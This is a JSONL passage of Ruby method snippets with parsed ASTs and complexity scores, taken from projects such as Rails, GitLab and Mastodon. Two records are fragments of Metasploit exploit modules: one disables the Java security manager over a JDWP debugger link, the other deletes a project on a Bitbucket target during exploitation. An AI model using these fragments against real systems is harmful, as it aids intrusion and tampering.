end","complexity_score":40.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_changing_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_bulk_change_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"date\",{\"type\":\"sym\",\"children\":[\"birthdate\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"default\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"sym\",\"children\":[\"birthdate\"]}]},\"type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"classname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"class\"]},\"name\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^:]*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_query_count\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TrilogyAdapter\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PostgreSQLAdapter\"]},{\"type\":\"int\",\"children\":[3]}]}]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"classname\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"need an expected query count for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classname\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"lvar\",\"children\":[\"expected_query_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_schema\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_bulk_change_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"NONAME\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"birthdate\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"str\",\"children\":[\"This is a comment\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"NONAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"default\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"sym\",\"children\":[\"birthdate\"]}]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"This is a comment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"sym\",\"children\":[\"birthdate\"]}]},\"comment\"]}]}]}]}","id":"b4699e49-fde3-4756-bf3b-9f5e8bd47ca5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb","start_line":836,"raw_source":"def disable_sec_manager\n    sys_class = get_class_by_name(\"Ljava/lang/System;\")\n\n    fields = get_fields(sys_class[\"reftype_id\"])\n\n    sec_field = nil\n\n    fields.each do |field|\n      sec_field = field[\"field_id\"] if field[\"name\"].downcase == \"security\"\n    end\n\n    fail_with(Failure::Unknown, \"Security attribute not found\") if sec_field.nil?\n\n    value = get_value(sys_class[\"reftype_id\"], sec_field)\n\n    if (value == 0)\n      print_good(\"Security manager was not set\")\n    else\n      set_value(sys_class[\"reftype_id\"], sec_field, 0)\n      if get_value(sys_class[\"reftype_id\"], sec_field) == 0\n        print_good(\"Security manager has been disabled\")\n      else\n        print_good(\"Security manager has not been disabled, trying anyway...\")\n      end\n    end\n  end","complexity_score":35.6,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_sec_manager\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sys_class\",{\"type\":\"send\",\"children\":[null,\"get_class_by_name\",{\"type\":\"str\",\"children\":[\"Ljava/lang/System;\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[null,\"get_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_class\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reftype_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sec_field\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"security\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sec_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"field_id\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sec_field\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Security attribute not found\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_class\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reftype_id\"]}]},{\"type\":\"lvar\",\"children\":[\"sec_field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Security manager was not set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_class\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reftype_id\"]}]},{\"type\":\"lvar\",\"children\":[\"sec_field\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_class\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reftype_id\"]}]},{\"type\":\"lvar\",\"children\":[\"sec_field\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Security manager has been disabled\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Security manager has not been disabled, trying anyway...\"]}]}]}]}]}]}]}","id":"16e4434f-75aa-435a-9961-20c175623273"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/produce/lib/produce/commands_generator.rb","start_line":17,"raw_source":"def self.start\n      self.new.run\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\"]},\"run\"]}]}","id":"262453d7-ecf4-454c-bc90-3ae8cc6b9090"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/seeders/inbox_seeder.rb","start_line":12,"raw_source":"def initialize(account:, company_data:)\n    raise 'Inbox Seeding is not allowed in production.' unless ENV.fetch('ENABLE_ACCOUNT_SEEDING', !Rails.env.production?)\n\n    @account = account\n    @company_data = company_data\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"account\"]},{\"type\":\"kwarg\",\"children\":[\"company_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"ENABLE_ACCOUNT_SEEDING\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},\"!\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Inbox Seeding is not allowed in production.\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@company_data\",{\"type\":\"lvar\",\"children\":[\"company_data\"]}]}]}]}","id":"568c4751-c311-4095-90a6-1baed3b4257d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":932,"raw_source":"def current_cpu_usage\n    quickStats[\"overallCpuUsage\"].to_i\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_cpu_usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quickStats\"]},\"[]\",{\"type\":\"str\",\"children\":[\"overallCpuUsage\"]}]},\"to_i\"]}]}","id":"cbb80d30-a659-4540-a696-69fba9a33440"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/issuables_service.rb","start_line":35,"raw_source":"def relate_issuable(noteable_ref)\n      body = \"marked this #{noteable_name} as related to #{extract_issuable_reference(noteable_ref)}\"\n\n      track_issue_event(:track_issue_related_action)\n\n      create_note(NoteSummary.new(noteable, project, author, body, action: 'relate'))\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"relate_issuable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"noteable_ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"marked this \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable_name\"]}]},{\"type\":\"str\",\"children\":[\" as related to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_issuable_reference\",{\"type\":\"lvar\",\"children\":[\"noteable_ref\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"track_issue_event\",{\"type\":\"sym\",\"children\":[\"track_issue_related_action\"]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"author\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"relate\"]}]}]}]}]}]}]}","id":"6535e00a-1d63-4dd5-92bf-b0304d27ec2a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access_snippet.rb","start_line":65,"raw_source":"def allowed_actor?\n      actor.is_a?(User) || actor.instance_of?(Key)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_actor?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[null,\"Key\"]}]}]}]}","id":"442080a9-394a-40d2-a481-e4b64271d9f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database.rb","start_line":226,"raw_source":"def self.sanitize_timestamp(timestamp)\n      MAX_TIMESTAMP_VALUE > timestamp ? timestamp : MAX_TIMESTAMP_VALUE.dup\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sanitize_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timestamp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_TIMESTAMP_VALUE\"]},\">\",{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_TIMESTAMP_VALUE\"]},\"dup\"]}]}]}","id":"051f0614-5250-4c53-b302-2f939910163a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/api/v1/admin/ip_blocks_spec.rb","start_line":225,"raw_source":"def change_severity_level\n      change { ip_block.reload.severity }.from('no_access').to('sign_up_requires_approval')\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change_severity_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_block\"]},\"reload\"]},\"severity\"]}]},\"from\",{\"type\":\"str\",\"children\":[\"no_access\"]}]},\"to\",{\"type\":\"str\",\"children\":[\"sign_up_requires_approval\"]}]}]}","id":"f571a702-12af-4447-b96b-ca2f13724196"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/duration_test.rb","start_line":74,"raw_source":"def test_in_months\n    assert_in_delta 2.07, 9.weeks.in_months\n    assert_in_delta 12.0, 1.year.in_months\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_months\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_in_delta\",{\"type\":\"float\",\"children\":[2.07]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[9]},\"weeks\"]},\"in_months\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_in_delta\",{\"type\":\"float\",\"children\":[12.0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"year\"]},\"in_months\"]}]}]}]}","id":"331458da-1432-4243-9ffe-698e1f8ef935"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/clickup.rb","start_line":23,"raw_source":"def help\n          build_help_page_url(\n            'user/project/integrations/clickup.md',\n            s_(\"IssueTracker|Use ClickUp as this project's issue tracker.\")\n          )\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build_help_page_url\",{\"type\":\"str\",\"children\":[\"user/project/integrations/clickup.md\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"IssueTracker|Use ClickUp as this project's issue tracker.\"]}]}]}]}","id":"83016fa7-8973-41fd-9ced-5e6dcbb1b60e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/live_response_test.rb","start_line":32,"raw_source":"def test_parallel\n        latch = Concurrent::CountDownLatch.new\n\n        t = Thread.new {\n          @response.stream.write \"foo\"\n          latch.wait\n          @response.stream.close\n        }\n\n        @response.await_commit\n        @response.each do |part|\n          assert_equal \"foo\", part\n          latch.count_down\n        end\n        assert t.join\n      end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parallel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"latch\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CountDownLatch\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"stream\"]},\"write\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latch\"]},\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"stream\"]},\"close\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"await_commit\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"lvar\",\"children\":[\"part\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latch\"]},\"count_down\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"join\"]}]}]}]}","id":"fe506bde-bf02-43b0-818d-35c1a0748d3e"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/user_tag.rb","start_line":6,"raw_source":"def initialize(_tag_name, input, _parse_context)\n    super\n\n    username = input.gsub(\"#{URL.url}/\", \"\").delete(\" \")\n    @user = parse_username_to_user(username)\n    @user_colors = user_colors(@user)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_tag_name\"]},{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"_parse_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"gsub\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL\"]},\"url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[null,\"parse_username_to_user\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_colors\",{\"type\":\"send\",\"children\":[null,\"user_colors\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}","id":"208833c3-cc3c-4826-b3fd-83e2fc56dd11"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/bitbucket_env_var_rce.rb","start_line":446,"raw_source":"def delete_project(username)\n    vprint_status(\"Now attempting to delete project '#{@project_name}'\")\n    send_request_cgi( # fails to return a response\n      'method' => 'DELETE',\n      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),\n      'keep_cookies' => true,\n      'headers' => {\n        'X-AUSERNAME' => username,\n        'X-AUSERID' => @user_id,\n        'X-Requested-With' => 'XMLHttpRequest',\n        'Origin' => \"#{ssl ? 'https' : 'http'}://#{peer}\",\n        'Referer' => \"#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings\",\n        'ctype' => 'application/json',\n        'Accept' => 'application/json, text/javascript, */*; q=0.01',\n        'Accept-Encoding' => 'gzip, deflate'\n      }\n    )\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),\n      'keep_cookies' => true\n    )\n\n    unless res&.code == 404\n      print_warning('Failed to delete project')\n      return\n    end\n\n    print_good('Project has been deleted')\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Now attempting to delete project '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"DELETE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"projects\"]},{\"type\":\"ivar\",\"children\":[\"@project_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-AUSERNAME\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-AUSERID\"]},{\"type\":\"ivar\",\"children\":[\"@user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Origin\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_key\"]}]},{\"type\":\"str\",\"children\":[\"/settings\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/json, text/javascript, */*; q=0.01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"gzip, deflate\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"projects\"]},{\"type\":\"ivar\",\"children\":[\"@project_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to delete project\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Project has been deleted\"]}]}]}]}","id":"70409078-73ad-446a-ad7a-17ff0c82673f"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/callbacks/with_args_multiple.rb","start_line":47,"raw_source":"def before_enter_open(*args); log(\"before_enter_open(#{args.map(&:inspect).join(',')})\"); end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_enter_open\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"before_enter_open(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inspect\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"f8faa9d6-fe3b-42a3-8ade-fb69c02fd869"}
